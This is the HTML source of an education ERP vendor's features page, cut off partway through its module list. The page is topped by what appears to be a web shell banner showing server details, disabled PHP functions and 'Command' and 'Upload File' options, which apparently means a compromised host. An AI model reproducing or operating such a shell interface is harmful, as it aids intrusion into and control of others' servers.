|
Server IP : 2a02:4780:3:2287:0:3736:a38e:8 / Your IP : 216.73.216.212 Web Server : LiteSpeed System : Linux sg-nme-web2187.main-hosting.eu 5.14.0-611.54.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 6 18:03:03 EDT 2026 x86_64 User : u926327694 ( 926327694) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail, proc_open MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u926327694/domains/smsoft.in/public_html/features/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<link rel="icon" type="image/png" href="assets/images/favicon.png">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description" content="Explore the comprehensive features of E Vision Infotech's School/College management ERP - attendance tracking, fee management, exam modules, biometric integration, and more.">
<meta name="keywords" content="school management software, college ERP, education software, student management, attendance tracking, fee management">
<meta name="author" content="E Vision Infotech">
<title>Features | E Vision Infotech</title>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.6.2/dist/css/bootstrap.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<link rel="stylesheet" href="assets/css/custom.css?v=1">
<script src="https://code.jquery.com/jquery-3.6.0.slim.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@4.6.2/dist/js/bootstrap.bundle.min.js"></script>
<style>
body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; overflow-x: hidden; max-width: 100vw; }
.section-padding { padding: 80px 0; }
.navbar { box-shadow: 0 2px 15px rgba(0,0,0,0.1); padding: 8px 0 !important; min-height: 60px; }
.navbar-brand { font-weight: 700; font-size: 1.1rem; display: flex; align-items: center; text-decoration: none; padding: 4px 0; margin: 0; }
.menu-toggle { display: none; flex-direction: column; justify-content: space-around; width: 28px; height: 22px; background: transparent; border: none; cursor: pointer; padding: 0; margin: 0 0 0 12px; z-index: 10001; }
.navbar-brand span:first-child { width:36px;height:36px;background:linear-gradient(135deg, #2563eb, #4f46e5);border-radius:8px;display:flex;align-items:center;justify-content:center;margin-right:8px;flex-shrink:0; }
.nav-link { color: #333 !important; font-weight: 500; padding: 8px 12px !important; }
.nav-link:hover, .nav-link.active { color: #2563eb !important; }
.btn-login-nav { background: #2563eb; color: #fff !important; padding: 6px 16px; border-radius: 6px; margin-left: 8px; font-size: 0.9rem; }
.menu-toggle {
display: none;
flex-direction: column;
justify-content: space-around;
width: 28px;
height: 22px;
background: transparent;
border: none;
cursor: pointer;
padding: 0;
margin: 0 0 0 auto;
z-index: 10001;
}
.menu-toggle span {
width: 100%;
height: 2px;
background: #333;
border-radius: 2px;
transition: all 0.3s;
}
.menu-toggle.active span:nth-child(1) { transform: rotate(45deg) translate(5px, 5px); }
.menu-toggle.active span:nth-child(2) { opacity: 0; }
.menu-toggle.active span:nth-child(3) { transform: rotate(-45deg) translate(5px, -5px); }
.mobile-menu {
position: fixed;
top: 0;
right: -100%;
width: 85%;
max-width: 350px;
height: 100vh;
background: linear-gradient(180deg, #1e3a8a 0%, #2563eb 50%, #3b82f6 100%);
z-index: 10000;
transition: right 0.4s ease;
padding: 80px 25px 30px;
box-shadow: -5px 0 25px rgba(0,0,0,0.2);
overflow-y: auto;
}
.mobile-menu.active { right: 0; }
.mobile-menu-overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(0,0,0,0.5);
z-index: 9999;
opacity: 0;
visibility: hidden;
transition: all 0.3s;
}
.mobile-menu-overlay.active { opacity: 1; visibility: visible; }
.mobile-menu-close {
position: absolute;
top: 20px;
right: 20px;
background: rgba(255,255,255,0.15);
border: none;
color: #fff;
width: 35px;
height: 35px;
border-radius: 50%;
font-size: 20px;
cursor: pointer;
display: flex;
align-items: center;
justify-content: center;
}
.mobile-menu-close:hover { background: rgba(255,255,255,0.25); }
.mobile-menu-link {
display: block;
color: rgba(255,255,255,0.9);
text-decoration: none;
font-size: 1.1rem;
font-weight: 500;
padding: 14px 0;
border-bottom: 1px solid rgba(255,255,255,0.1);
transition: all 0.3s;
}
.mobile-menu-link:hover, .mobile-menu-link.active {
color: #fff;
padding-left: 10px;
background: rgba(255,255,255,0.1);
border-radius: 8px;
}
.mobile-menu-link.active { background: rgba(255,255,255,0.2); font-weight: 600; }
.mobile-login-btn {
display: block;
background: #fff;
color: #2563eb !important;
text-align: center;
padding: 14px 20px;
border-radius: 30px;
font-weight: 600;
margin-top: 25px;
text-decoration: none;
}
.mobile-login-btn:hover { background: #f0f0f0; }
@media (max-width: 991px) {
.desktop-menu { display: none !important; }
.menu-toggle { display: flex !important; }
.navbar .container { padding-left: 15px; padding-right: 15px; }
.navbar-brand { font-size: 1rem; }
.navbar-brand span:first-child { width:32px !important; height:32px !important; }
}
@media (max-width: 768px) {
.section-padding { padding: 50px 0; }
h1 { font-size: 1.75rem !important; }
h2 { font-size: 1.5rem !important; }
}
</style>
<!-- Meta Pixel Code -->
<script>
!function(f,b,e,v,n,t,s)
{if(f.fbq)return;n=f.fbq=function(){n.callMethod?
n.callMethod.apply(n,arguments):n.queue.push(arguments)};
if(!f._fbq)f._fbq=n;n.push=n;n.loaded=!0;n.version='2.0';
n.queue=[];t=b.createElement(e);t.async=!0;
t.src=v;s=b.getElementsByTagName(e)[0];
s.parentNode.insertBefore(t,s)}(window, document,'script',
'https://connect.facebook.net/en_US/fbevents.js');
fbq('init', '1193961286057909');
fbq('track', 'PageView');
</script>
<noscript><img height="1" width="1" style="display:none"
src="https://www.facebook.com/tr?id=1193961286057909&ev=PageView&noscript=1"
/></noscript>
<!-- End Meta Pixel Code -->
</head>
<body>
<nav class="navbar navbar-expand-lg navbar-light bg-white fixed-top" style="overflow:hidden;">
<div class="container" style="max-width:100%;">
<a href="index.php" class="navbar-brand">
<img src="assets/images/favicon.png" alt="E Vision Infotech" style="width:36px;height:36px;border-radius:8px;display:flex;align-items:center;justify-content:center;margin-right:8px;flex-shrink:0;object-fit:contain;">
<span style="line-height:1;">E Vision Infotech</span>
</a>
<div class="desktop-menu">
<ul class="nav navbar-nav ml-auto align-items-center">
<li class="nav-item"><a href="index.php" class="nav-link ">Home</a></li>
<li class="nav-item"><a href="about-us.php" class="nav-link ">About Us</a></li>
<li class="nav-item"><a href="services.php" class="nav-link ">Services</a></li>
<li class="nav-item"><a href="features.php" class="nav-link active">Features</a></li>
<li class="nav-item"><a href="become-partner.php" class="nav-link ">Become a Partner</a></li>
<li class="nav-item"><a href="contact-us.php" class="nav-link ">Contact Us</a></li>
<li class="nav-item"><a href="https://smart.smsoft.in/" target="_blank" class="btn-login-nav">Login</a></li>
</ul>
</div>
<button class="menu-toggle" type="button" onclick="toggleMobileMenu()">
<span></span>
<span></span>
<span></span>
</button>
</div>
</nav>
<div class="mobile-menu-overlay" id="mobileOverlay" onclick="toggleMobileMenu()"></div>
<div class="mobile-menu" id="mobileMenu">
<button class="mobile-menu-close" onclick="toggleMobileMenu()">×</button>
<a href="index.php" class="mobile-menu-link " onclick="toggleMobileMenu()">
<i class="fas fa-home mr-2"></i> Home
</a>
<a href="about-us.php" class="mobile-menu-link " onclick="toggleMobileMenu()">
<i class="fas fa-info-circle mr-2"></i> About Us
</a>
<a href="services.php" class="mobile-menu-link " onclick="toggleMobileMenu()">
<i class="fas fa-cogs mr-2"></i> Services
</a>
<a href="features.php" class="mobile-menu-link active" onclick="toggleMobileMenu()">
<i class="fas fa-star mr-2"></i> Features
</a>
<a href="become-partner.php" class="mobile-menu-link " onclick="toggleMobileMenu()">
<i class="fas fa-handshake mr-2"></i> Become a Partner
</a>
<a href="contact-us.php" class="mobile-menu-link " onclick="toggleMobileMenu()">
<i class="fas fa-envelope mr-2"></i> Contact Us
</a>
<a href="https://smart.smsoft.in/" target="_blank" class="mobile-login-btn" onclick="toggleMobileMenu()">
<i class="fas fa-sign-in-alt mr-2"></i> Login to Portal
</a>
</div>
<script>
function toggleMobileMenu() {
var menu = document.getElementById('mobileMenu');
var overlay = document.getElementById('mobileOverlay');
var toggle = document.querySelector('.menu-toggle');
menu.classList.toggle('active');
overlay.classList.toggle('active');
toggle.classList.toggle('active');
if (menu.classList.contains('active')) {
document.body.style.overflow = 'hidden';
} else {
document.body.style.overflow = 'auto';
}
}
</script>
<main style="padding-top: 60px;">
<!-- Page Header -->
<section class="section-reveal" style="background: linear-gradient(135deg, #1e3a8a, #3b82f6, #06b6d4); padding: 100px 0 80px;">
<div class="container">
<div class="text-center text-white">
<h1 class="animate-on-scroll fade-in-up" style="font-size: 2.5rem; font-weight: 700; margin-bottom: 15px;">Powerful Features</h1>
<p class="animate-on-scroll fade-in-up" data-delay="1" style="font-size: 1.2rem; opacity: 0.9;">Everything you need to manage your educational institution efficiently</p>
</div>
</div>
</section>
<!-- Feature Highlights -->
<section class="section-reveal" style="padding: 60px 0;">
<div class="container">
<div class="row">
<div class="col-md-6 mb-4">
<div class="d-flex align-items-center p-4" style="background: #fff; border-radius: 12px; box-shadow: 0 2px 10px rgba(0,0,0,0.05);">
<div style="width: 50px; height: 50px; background: #dbeafe; border-radius: 10px; display: flex; align-items: center; justify-content: center; margin-right: 15px; flex-shrink: 0;">
<i class="fas fa-laptop" style="color: #2563eb; font-size: 1.25rem;"></i>
</div>
<div>
<h5 style="font-weight: 600; color: #1f2937; margin-bottom: 3px;">Responsive Interface</h5>
<p style="color: #6b7280; font-size: 0.875rem; margin: 0;">Access from any device</p>
</div>
</div>
</div>
<div class="col-md-6 mb-4">
<div class="d-flex align-items-center p-4" style="background: #fff; border-radius: 12px; box-shadow: 0 2px 10px rgba(0,0,0,0.05);">
<div style="width: 50px; height: 50px; background: #dcfce7; border-radius: 10px; display: flex; align-items: center; justify-content: center; margin-right: 15px; flex-shrink: 0;">
<i class="fas fa-users" style="color: #16a34a; font-size: 1.25rem;"></i>
</div>
<div>
<h5 style="font-weight: 600; color: #1f2937; margin-bottom: 3px;">Multi-User System</h5>
<p style="color: #6b7280; font-size: 0.875rem; margin: 0;">Admins, teachers, students, parents</p>
</div>
</div>
</div>
<div class="col-md-6 mb-4">
<div class="d-flex align-items-center p-4" style="background: #fff; border-radius: 12px; box-shadow: 0 2px 10px rgba(0,0,0,0.05);">
<div style="width: 50px; height: 50px; background: #f3e8ff; border-radius: 10px; display: flex; align-items: center; justify-content: center; margin-right: 15px; flex-shrink: 0;">
<i class="fas fa-globe" style="color: #9333ea; font-size: 1.25rem;"></i>
</div>
<div>
<h5 style="font-weight: 600; color: #1f2937; margin-bottom: 3px;">Multi-Language</h5>
<p style="color: #6b7280; font-size: 0.875rem; margin: 0;">Multiple language support</p>
</div>
</div>
</div>
<div class="col-md-6 mb-4">
<div class="d-flex align-items-center p-4" style="background: #fff; border-radius: 12px; box-shadow: 0 2px 10px rgba(0,0,0,0.05);">
<div style="width: 50px; height: 50px; background: #ffedd5; border-radius: 10px; display: flex; align-items: center; justify-content: center; margin-right: 15px; flex-shrink: 0;">
<i class="fas fa-fingerprint" style="color: #ea580c; font-size: 1.25rem;"></i>
</div>
<div>
<h5 style="font-weight: 600; color: #1f2937; margin-bottom: 3px;">Biometric Integration</h5>
<p style="color: #6b7280; font-size: 0.875rem; margin: 0;">STL Biometric devices</p>
</div>
</div>
</div>
<div class="col-md-6 mb-4">
<div class="d-flex align-items-center p-4" style="background: #fff; border-radius: 12px; box-shadow: 0 2px 10px rgba(0,0,0,0.05);">
<div style="width: 50px; height: 50px; background: #fef3c7; border-radius: 10px; display: flex; align-items: center; justify-content: center; margin-right: 15px; flex-shrink: 0;">
<i class="fas fa-sitemap" style="color: #d97706; font-size: 1.25rem;"></i>
</div>
<div>
<h5 style="font-weight: 600; color: #1f2937; margin-bottom: 3px;">Multiple Branches</h5>
<p style="color: #6b7280; font-size: 0.875rem; margin: 0;">Manage all branches from one panel</p>
</div>
</div>
</div>
<div class="col-md-6 mb-4">
<div class="d-flex align-items-center p-4" style="background: #fff; border-radius: 12px; box-shadow: 0 2px 10px rgba(0,0,0,0.05);">
<div style="width: 50px; height: 50px; background: #dbeafe; border-radius: 10px; display: flex; align-items: center; justify-content: center; margin-right: 15px; flex-shrink: 0;">
<i class="fas fa-credit-card" style="color: #2563eb; font-size: 1.25rem;"></i>
</div>
<div>
<h5 style="font-weight: 600; color: #1f2937; margin-bottom: 3px;">Online & Offline Payments</h5>
<p style="color: #6b7280; font-size: 0.875rem; margin: 0;">Multiple payment gateway support</p>
</div>
</div>
</div>
<div class="col-md-6 mb-4">
<div class="d-flex align-items-center p-4" style="background: #fff; border-radius: 12px; box-shadow: 0 2px 10px rgba(0,0,0,0.05);">
<div style="width: 50px; height: 50px; background: #fee2e2; border-radius: 10px; display: flex; align-items: center; justify-content: center; margin-right: 15px; flex-shrink: 0;">
<i class="fas fa-cogs" style="color: #dc2626; font-size: 1.25rem;"></i>
</div>
<div>
<h5 style="font-weight: 600; color: #1f2937; margin-bottom: 3px;">Customization</h5>
<p style="color: #6b7280; font-size: 0.875rem; margin: 0;">Tailor to your needs</p>
</div>
</div>
</div>
<div class="col-md-6 mb-4">
<div class="d-flex align-items-center p-4" style="background: #fff; border-radius: 12px; box-shadow: 0 2px 10px rgba(0,0,0,0.05);">
<div style="width: 50px; height: 50px; background: #cffafe; border-radius: 10px; display: flex; align-items: center; justify-content: center; margin-right: 15px; flex-shrink: 0;">
<i class="fas fa-cloud" style="color: #0891b2; font-size: 1.25rem;"></i>
</div>
<div>
<h5 style="font-weight: 600; color: #1f2937; margin-bottom: 3px;">Cloud-Based</h5>
<p style="color: #6b7280; font-size: 0.875rem; margin: 0;">Access anywhere, anytime</p>
</div>
</div>
</div>
</div>
</div>
</section>
<!-- Software Modules -->
<section class="section-padding" style="background: #f8f9fa;">
<div class="container">
<div class="text-center mb-5">
<h2 style="font-size: 2rem; font-weight: 700; color: #1f2937; margin-bottom: 10px;">Complete Module Suite</h2>
<p style="color: #6b7280; font-size: 1.1rem;">All tools to manage every aspect of your institution</p>
</div>
<div class="row">
<div class="col-lg-4 col-md-6 mb-4">
<div class="card h-100" style="border-radius: 12px; box-shadow: 0 4px 12px rgba(0,0,0,0.08); border: none;">
<div class="p-4" style="background: #fff;">
<div style="width: 50px; height: 50px; background: linear-gradient(135deg, #2563eb, #4f46e5); border-radius: 12px; display: flex; align-items: center; justify-content: center; margin-bottom: 15px;">
<i class="fas fa-wallet" style="font-size: 1.25rem; color: #fff;"></i>
</div>
<h5 style="font-weight: 600; color: #1f2937; margin-bottom: 8px;">Finance</h5>
<p style="color: #6b7280; font-size: 0.8rem; margin-bottom: 10px; line-height: 1.5;">School/College finance manages budgets, fees, expenses, and financial reporting efficiently.</p>
<ul style="list-style: none; padding: 0; margin: 0;">
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Budget Management </li>
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Fees Collection </li>
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Income & Expenses </li>
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Inventory </li>
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Reports </li>
</ul>
</div>
</div>
</div>
<div class="col-lg-4 col-md-6 mb-4">
<div class="card h-100" style="border-radius: 12px; box-shadow: 0 4px 12px rgba(0,0,0,0.08); border: none;">
<div class="p-4" style="background: #fff;">
<div style="width: 50px; height: 50px; background: linear-gradient(135deg, #2563eb, #4f46e5); border-radius: 12px; display: flex; align-items: center; justify-content: center; margin-bottom: 15px;">
<i class="fas fa-user-graduate" style="font-size: 1.25rem; color: #fff;"></i>
</div>
<h5 style="font-weight: 600; color: #1f2937; margin-bottom: 8px;">Student</h5>
<p style="color: #6b7280; font-size: 0.8rem; margin-bottom: 10px; line-height: 1.5;">Students' data, attendance, performance, and activities are efficiently managed, ensuring smooth operations.</p>
<ul style="list-style: none; padding: 0; margin: 0;">
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Admission Management </li>
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Attendance Tracking </li>
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Performance Records </li>
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Activity Management </li>
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Parent Communication </li>
</ul>
</div>
</div>
</div>
<div class="col-lg-4 col-md-6 mb-4">
<div class="card h-100" style="border-radius: 12px; box-shadow: 0 4px 12px rgba(0,0,0,0.08); border: none;">
<div class="p-4" style="background: #fff;">
<div style="width: 50px; height: 50px; background: linear-gradient(135deg, #2563eb, #4f46e5); border-radius: 12px; display: flex; align-items: center; justify-content: center; margin-bottom: 15px;">
<i class="fas fa-file-alt" style="font-size: 1.25rem; color: #fff;"></i>
</div>
<h5 style="font-weight: 600; color: #1f2937; margin-bottom: 8px;">Exam</h5>
<p style="color: #6b7280; font-size: 0.8rem; margin-bottom: 10px; line-height: 1.5;">School ERP tracks student exams, schedules, performance, and result analysis.</p>
<ul style="list-style: none; padding: 0; margin: 0;">
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Exam Scheduling </li>
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Marks Entry </li>
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Result Analysis </li>
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Report Cards </li>
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Online Exams </li>
</ul>
</div>
</div>
</div>
<div class="col-lg-4 col-md-6 mb-4">
<div class="card h-100" style="border-radius: 12px; box-shadow: 0 4px 12px rgba(0,0,0,0.08); border: none;">
<div class="p-4" style="background: #fff;">
<div style="width: 50px; height: 50px; background: linear-gradient(135deg, #2563eb, #4f46e5); border-radius: 12px; display: flex; align-items: center; justify-content: center; margin-bottom: 15px;">
<i class="fas fa-users" style="font-size: 1.25rem; color: #fff;"></i>
</div>
<h5 style="font-weight: 600; color: #1f2937; margin-bottom: 8px;">Staff</h5>
<p style="color: #6b7280; font-size: 0.8rem; margin-bottom: 10px; line-height: 1.5;">Staff management handles payroll, attendance, roles, and performance tracking efficiently.</p>
<ul style="list-style: none; padding: 0; margin: 0;">
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Payroll Management </li>
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Attendance </li>
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Leave Management </li>
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Performance Tracking </li>
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Role Management </li>
</ul>
</div>
</div>
</div>
<div class="col-lg-4 col-md-6 mb-4">
<div class="card h-100" style="border-radius: 12px; box-shadow: 0 4px 12px rgba(0,0,0,0.08); border: none;">
<div class="p-4" style="background: #fff;">
<div style="width: 50px; height: 50px; background: linear-gradient(135deg, #2563eb, #4f46e5); border-radius: 12px; display: flex; align-items: center; justify-content: center; margin-bottom: 15px;">
<i class="fas fa-book-open" style="font-size: 1.25rem; color: #fff;"></i>
</div>
<h5 style="font-weight: 600; color: #1f2937; margin-bottom: 8px;">Library</h5>
<p style="color: #6b7280; font-size: 0.8rem; margin-bottom: 10px; line-height: 1.5;">Library management organizes book inventory, checkouts, returns, and availability tracking.</p>
<ul style="list-style: none; padding: 0; margin: 0;">
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Book Inventory </li>
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Member Management </li>
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Issue/Return </li>
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Late Fee Calculation </li>
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Digital Catalog </li>
</ul>
</div>
</div>
</div>
<div class="col-lg-4 col-md-6 mb-4">
<div class="card h-100" style="border-radius: 12px; box-shadow: 0 4px 12px rgba(0,0,0,0.08); border: none;">
<div class="p-4" style="background: #fff;">
<div style="width: 50px; height: 50px; background: linear-gradient(135deg, #2563eb, #4f46e5); border-radius: 12px; display: flex; align-items: center; justify-content: center; margin-bottom: 15px;">
<i class="fas fa-mobile-alt" style="font-size: 1.25rem; color: #fff;"></i>
</div>
<h5 style="font-weight: 600; color: #1f2937; margin-bottom: 8px;">Student App</h5>
<p style="color: #6b7280; font-size: 0.8rem; margin-bottom: 10px; line-height: 1.5;">Student app provides access to attendance, grades, schedules, and communication.</p>
<ul style="list-style: none; padding: 0; margin: 0;">
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
View Attendance </li>
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Exam Results </li>
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Fee Status </li>
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Notifications </li>
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Communication </li>
</ul>
</div>
</div>
</div>
<div class="col-lg-4 col-md-6 mb-4">
<div class="card h-100" style="border-radius: 12px; box-shadow: 0 4px 12px rgba(0,0,0,0.08); border: none;">
<div class="p-4" style="background: #fff;">
<div style="width: 50px; height: 50px; background: linear-gradient(135deg, #2563eb, #4f46e5); border-radius: 12px; display: flex; align-items: center; justify-content: center; margin-bottom: 15px;">
<i class="fas fa-bus" style="font-size: 1.25rem; color: #fff;"></i>
</div>
<h5 style="font-weight: 600; color: #1f2937; margin-bottom: 8px;">Transport</h5>
<p style="color: #6b7280; font-size: 0.8rem; margin-bottom: 10px; line-height: 1.5;">Supporting apps manage transportation management.</p>
<ul style="list-style: none; padding: 0; margin: 0;">
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Route Management </li>
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Bus Tracking </li>
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Driver Details </li>
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Student Pickup </li>
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Live Location </li>
</ul>
</div>
</div>
</div>
<div class="col-lg-4 col-md-6 mb-4">
<div class="card h-100" style="border-radius: 12px; box-shadow: 0 4px 12px rgba(0,0,0,0.08); border: none;">
<div class="p-4" style="background: #fff;">
<div style="width: 50px; height: 50px; background: linear-gradient(135deg, #2563eb, #4f46e5); border-radius: 12px; display: flex; align-items: center; justify-content: center; margin-bottom: 15px;">
<i class="fas fa-home" style="font-size: 1.25rem; color: #fff;"></i>
</div>
<h5 style="font-weight: 600; color: #1f2937; margin-bottom: 8px;">Hostel</h5>
<p style="color: #6b7280; font-size: 0.8rem; margin-bottom: 10px; line-height: 1.5;">Supporting apps manage hostel facilities.</p>
<ul style="list-style: none; padding: 0; margin: 0;">
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Room Allocation </li>
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Mess Management </li>
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Visitor Log </li>
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Complaint Box </li>
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Attendance </li>
</ul>
</div>
</div>
</div>
<div class="col-lg-4 col-md-6 mb-4">
<div class="card h-100" style="border-radius: 12px; box-shadow: 0 4px 12px rgba(0,0,0,0.08); border: none;">
<div class="p-4" style="background: #fff;">
<div style="width: 50px; height: 50px; background: linear-gradient(135deg, #2563eb, #4f46e5); border-radius: 12px; display: flex; align-items: center; justify-content: center; margin-bottom: 15px;">
<i class="fas fa-certificate" style="font-size: 1.25rem; color: #fff;"></i>
</div>
<h5 style="font-weight: 600; color: #1f2937; margin-bottom: 8px;">Certificate</h5>
<p style="color: #6b7280; font-size: 0.8rem; margin-bottom: 10px; line-height: 1.5;">Supporting apps manage certificates and CMS.</p>
<ul style="list-style: none; padding: 0; margin: 0;">
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
TC Generation </li>
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Bonafide Certificate </li>
<li style="padding: 4px 0; font-size: 0.8rem; color: #4b5563; display: flex; align-items: center;">
<i class="fas fa-check-circle" style="color: #16a34a; margin-right: 8px; font-size: 0.9rem;"></i>
Character Certificate </li>
